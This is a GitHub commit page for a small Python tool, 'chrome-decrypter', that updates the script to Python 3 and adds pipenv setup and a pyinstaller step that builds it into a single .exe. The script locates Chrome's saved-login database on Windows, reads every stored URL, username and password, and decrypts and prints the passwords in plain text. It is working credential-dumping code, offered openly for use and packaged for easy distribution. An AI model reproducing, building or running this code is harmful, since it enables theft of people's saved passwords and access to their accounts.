Skip to content

Commit

Permalink
Updated for Python 3, pipenv for virtualenv support
Browse files Browse the repository at this point in the history
  • Loading branch information
thisismyrobot committed Aug 19, 2018
1 parent 7744978 commit 71671f7
Show file tree
Hide file tree
Showing 5 changed files with 131 additions and 28 deletions.
2 changes: 2 additions & 0 deletions .gitignore
@@ -0,0 +1,2 @@
build/
*.spec
13 changes: 13 additions & 0 deletions Pipfile
@@ -0,0 +1,13 @@
[[source]]
url = "https://pypi.python.org/simple"
verify_ssl = true
name = "pypi"

[packages]
"pywin32" = "*"
pyinstaller = "*"

[dev-packages]

[requires]
python_version = "3.6"
68 changes: 68 additions & 0 deletions Pipfile.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

24 changes: 22 additions & 2 deletions README.md
@@ -1,3 +1,23 @@
chrome-decrypter
================
# chrome-decrypter

Python script to decrypt saved Chrome usernames and passwords on windows

## Setup

### Python dependencies

Python 3.6 and:

python -m pip install pipenv

### chrome-decrypter dependencies to run and build

pipenv install

## Run

pipenv run python chrome_decrypt.py

## Build .exe

pipenv run pyinstaller --clean -F --distpath=. chrome_decrypt.py
52 changes: 26 additions & 26 deletions chrome_decrypt.py
Expand Up @@ -4,42 +4,42 @@
import sys

try:
path = sys.argv[1]
path = sys.argv[1]
except IndexError:
for w in os.walk(os.getenv('USERPROFILE')):
if 'Chrome' in w[1]:
path = str(w[0]) + '\Chrome\User Data\Default\Login Data'
for w in os.walk(os.getenv('USERPROFILE')):
if 'Chrome' in w[1]:
path = str(w[0]) + r'\Chrome\User Data\Default\Login Data'

# Connect to the Database
try:
print '[+] Opening ' + path
conn = sqlite3.connect(path)
cursor = conn.cursor()
except Exception, e:
print '[-] %s' % (e)
sys.exit(1)
print('[+] Opening ' + path)
conn = sqlite3.connect(path)
cursor = conn.cursor()
except Exception as e:
print('[-] %s' % (e))
sys.exit(1)

# Get the results
try:
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception, e:
print '[-] %s' % (e)
sys.exit(1)
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception as e:
print('[-] %s' % (e))
sys.exit(1)

data = cursor.fetchall()

if len(data) > 0:
for result in data:
# Decrypt the Password
try:
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
except Exception, e:
print '[-] %s' % (e)
pass
if password:
print '''[+] URL: %s
for result in data:
# Decrypt the Password
try:
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
except Exception as e:
print('[-] %s' % (e))
pass
if password:
print('''[+] URL: %s
Username: %s
Password: %s''' %(result[0], result[1], password)
Password: %s''' %(result[0], result[1], password))
else:
print '[-] No results returned from query'
sys.exit(0)
print('[-] No results returned from query')
sys.exit(0)

0 comments on commit 71671f7

Please sign in to comment.